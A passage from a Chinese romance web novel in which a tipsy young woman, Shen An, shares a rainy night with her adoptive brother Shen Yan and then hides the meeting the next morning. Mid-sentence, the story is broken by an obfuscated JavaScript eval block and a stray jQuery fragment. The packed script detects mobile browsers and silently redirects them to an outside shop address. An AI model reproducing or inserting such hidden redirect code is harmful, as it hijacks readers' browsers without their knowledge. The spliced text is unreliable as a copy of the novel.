她十指微动,自空中划出一道丝滑的弧线,似乎有那么一把透明的琵琶,将丝雨化成一根一根的弦。
“哥哥,你在想什么?”
弹奏的动作止住了,沈桉回头,借着朦胧的夜色去看他。
只见面前的男子,目光越过自己,沉沉地锁在某一处,那神情中,分明藏着许多东西。
沈砚摇头:“这是弹奏琵琶的指法,你果真会弹琵琶?”
他依稀记得,初次见她的时候,怀里便揣着一把琵琶的,看着也有些年月了,应是学了许久,可入了府后,却也并未见她弹过。
闻言,沈桉笑了:“一点小喜好,总归是上不了台面的。”语气中潜藏着落寞。
似乎为了排解这点落寞,她岔开话题:“七哥哥,你知道这首曲子叫什么吗?”
《阳春白雪》,在府中第一次与沈砚相见,她恰好带着琵琶,脑海里便映出了这首曲子,平日里,也只敢自己想想。
谁知有一日,她听说了他的不公平,他被忽视被冷待,她不是没心没肺的人,她也想做些什么。
因而又想到了这首曲子。
有勇有谋,战场厮杀,一骑绝尘,他不需要什么世袭的靖安候,他是从一片血光杀出来的统领,不可违抗,势不可挡。
这样想着,她觉着亭外的雨下得愈发悲壮。
沈砚也不说知道,也不说不知道,他不接她的话茬,他说:“这是你的长处,不是什么上不了台面的东西。”
沈桉不说话,心里觉得他说得很有道理,自己也是这样想的,她也就是谦虚下,没成想他当真了。
“七哥哥,如果有机会,定给你弹一首真正的《阳春白雪》。”一曲罢,她的指尖由空中落到了桌上,疲惫又不甘。
空中源源不断的那一根根琴弦,也渐渐稀疏起来。
沈桉想要走了,她唐突地开口:“七哥哥,我要睡觉了。”
喝了醉的人,就这么直接,就这么任性,不要费尽心思去想那些谦辞,不会纠结,说了会不会丢面子,会不会让人不高兴。
沈砚:“嗯。”
他是个行动派,这个字眼还未落下的时候,手中的纸伞已打开了,其实私心,想要她再待得久一些,可她说累了,那便回去吧。
陪她一路出了园子,走到正院门口,行冠礼时候布置的东西还都好好地挂着没有收拾,雨水掉在上面,金贵的灯笼被砸出一个又一个的漩涡。
沈砚不再往前走了,他将纸伞塞到她手里,语气很慢、很稳:“不好再送你了,回去之后跟赵婆婆说,你一个人在亭子里面喝醉了、迷路了,等雨小了才摸索着走出来,今晚你没有遇见我,知道了吗?”
若放在平时,以沈桉的性子,自是不必担心,可她今日喝醉了,若是说漏了嘴,对她的名声有损。
既然她对自己并无非分之想,何必要因为自己,断了她今后的前程呢?今日一面已是奢望,还指望天天如此吗?这样想着,沈砚竟心急起来,很快地问了一遍:“哥哥说的话,你可都知道了?”
沈桉点点头,她自然知道,她是醉了,不是傻了。
但她依旧乖乖点头,一脸柔顺:“桉桉知道,谢谢哥哥提醒。”
沈砚捏着纸伞,顿了片刻才松开,他哑声道:“好,回去吧。”
说完,他转身,快步走进了那场磅礴大雨中。
沈桉将伞背靠在自己的臂膀上,越过跨院大门,往偏房去了。
赵婆婆不在家,听她孙子说是奉公主之命出来寻沈桉了,去了也不过片刻,八小姐便回来了。
看赵婆婆儿子媳妇满脸狐疑的神情,她气定神闲地解释:“劳烦婆婆寻我一趟,我无事,不过是在亭子里面喝醉了,醒来时不见大家,又是第一次去,故而迷了路,等着雨小了才敢回来,所以晚了。”
她一向乖巧,说不了什么谎话的,再说这一脸红扑扑的,不是喝醉了是什么?于是二人心中便信了几分。
也算是间接向赵婆婆解释过了,沈桉回到屋里,将放在榻上的湿伞合上,整整齐齐放好,打算寻个机会还给他。
事已至此,沈桉一点儿也不信自己是喝醉了,可一觉醒来后,她顿觉昨夜之事着实荒谬。
人人都说不记得酒醉后发生的事情,她偏记得清楚,那一幕幕不知深浅的越界、不假思索的言语,那些潜藏在心底的亲密情绪,竟都公开了。
哎……
雨停了,一串串脱了线的雨珠从灰白色的屋檐上掉落,窗外落叶纷呈,风一吹,颜色深的浅的,全都混入一处了。
春桃不在,沈桉便自梳洗了,这几日因着素方的教导,还有她送来的各式各样的脂粉,她的梳妆技艺也有了很大长进,为了报答她这份恩情,沈桉每日请安时总是早来,在公主住处待的时候也越来越多,时常帮着素方做些事情。
今日中秋刚过,她一大早便急匆匆地出门了,径直去了正院。
进了门,却不见公主与宁安,只有素方在拾掇梳妆台,见了她忙招呼:“八小姐来啦,昨晚的酒可喝得痛快?”
昨晚、酒?
沈桉只稍稍一回想,在雨后的清晨,在墙角晨露还未散去的时候,她的脸已烧得如同煮沸的水,她低头佯装揉眼睛,实则用锻花袖子掩住发烫的面颊:“自是……是甚好的,我从前,从前从未喝过这么好的酒。”
“八小姐,日后在侯府,好日子还在后头呢,公主这几日私下里还同我们说,您和柳姨娘住在偏房中属实是委屈了,打算将正院里不住人的地方腾出来让您搬进去呢!”
素方正忙碌着,无暇关注她的异样,只絮絮叨叨地讲。
沈桉诧异:“母亲真是费心了,只是正院是侯府嫡出才可入的,我不过是一个孤苦伶仃的,若是搬了进去,白白占了好地方。”
这当然不是实话,她心里觉得,即便是玉皇大帝的凌霄宝殿,她沈桉也是住得了的!可进了正院,公主倒是好的,三公子极其家眷,日日不知多少双眼睛盯着,哪有和赵婆婆住在一块舒心自在呢?
这样想着,沈桉便决心,要趁早回绝了。
于是她问道:“母亲今日怎么不在?”
她的话突兀,说得又急,素方见状,忙为她搬了一个椅子来坐,这才说:“七公子身子不大好呢,昨夜便有侍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576756|205020||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卫来报,公主半夜去看了,许是在那边歇下了,宁安在旁侍奉着呢,八小姐就别太担心啦!”
她语气轻快,倒像是心中没有一丝烦恼似的。
沈桉点点头,心中越发不安。
他得了什么病,是着凉了吗,还是旧疾?什么旧疾这么厉害,昨晚不是还好好的吗,怎的突然成了这样?
想起昨日种种,想起他之前的倾心相助,沈桉感动,可她只能规规矩矩地谢他,永远留出边界感来,一刻都不能忘。
一旦失了分寸,一旦陷入,便是云袖一样的下场。
云袖死了,对沈桉而言是该死的,可那根晃动着的白绫,也让沈桉牢牢记住了这侯府大院的冰冷无情之处,还有这个人的冰冷无情之处。
人无完人,感动与心疼是真的,疏离也是。
喝醉的时候是想不了到这些的,这些理性又残忍的现实,仿佛被蒸发的酒气,而那些没有蒸发的,会将她心中所有最盛烈的情绪,一股脑儿抓了出来。
他是知道她醉了的,所以昨晚的失态,两人都该假装忘记。
“八小姐想些什么呢?”
素方放了一碟点心在她身旁的檀木桌上,又奉了一碗热茶来,见她瞳仁失焦,忙问道。
沈桉摇摇头,她的手刚碰到茶盏,便被烫得抖了一下。
她轻轻地“哎呦”了一声。
素方忙为她递来湿毛巾:“是奴婢不好,刚煮好就给小姐送来了!”
就在这时,伴着丝丝兰香味道,宁安一拨开帘子,公主便进来了。
沈桉正忙着往右手指腹吹气,吹到一半便跪了下去:“母亲早安。”
公主握了沈桉的手,笑着扶起她,这才注意到她透红的指尖,忙叫宁安去拿那烫伤膏来。
沈桉低着头,可她分明看见公主身后,稳稳站着一个人,一袭青衣,外披着一个狐狸毛大氅,长发被玉冠裹着,映得整个人越发清朗俊逸。
她低着头刚欲招呼,便听见他开口,声音清凉如水:“八妹妹早。”
“七哥哥早。”
她回应道,声音脆脆的,像新春之际刚被折断的笋竹。
打完招呼,她明知故问:“母亲怎么一大早地出去了?”
听了她的话,素方徒地一惊,她不是才说过?
许是八小姐忘了吧,素方心想。
公主笑着,眉间不自觉染上了些许忧虑:“是砚儿,昨夜不知为何发起旧疾来,我不放心,便守了他一夜。”
沈桉:“旧疾?哥哥现在可好些了?”
话虽是对着公主说了的,可声音很大,生怕他听不见。
“多谢妹妹挂心,已经好多了。”
公主还未开口,身后之人便不受控制地朗声道。
沈桉轻轻地“嗯”了一声,被公主拉着在身侧坐了。
沈砚依旧坐在她对面,一切似乎都没什么不同,又似乎,是沧海桑田过后,一切回到原点。
素方平日里是活泼惯了的。不知说了什么笑话,惹得大家都笑了,沈桉低着头,也跟着笑。
她不是因为笑话,她笑,是真的开心。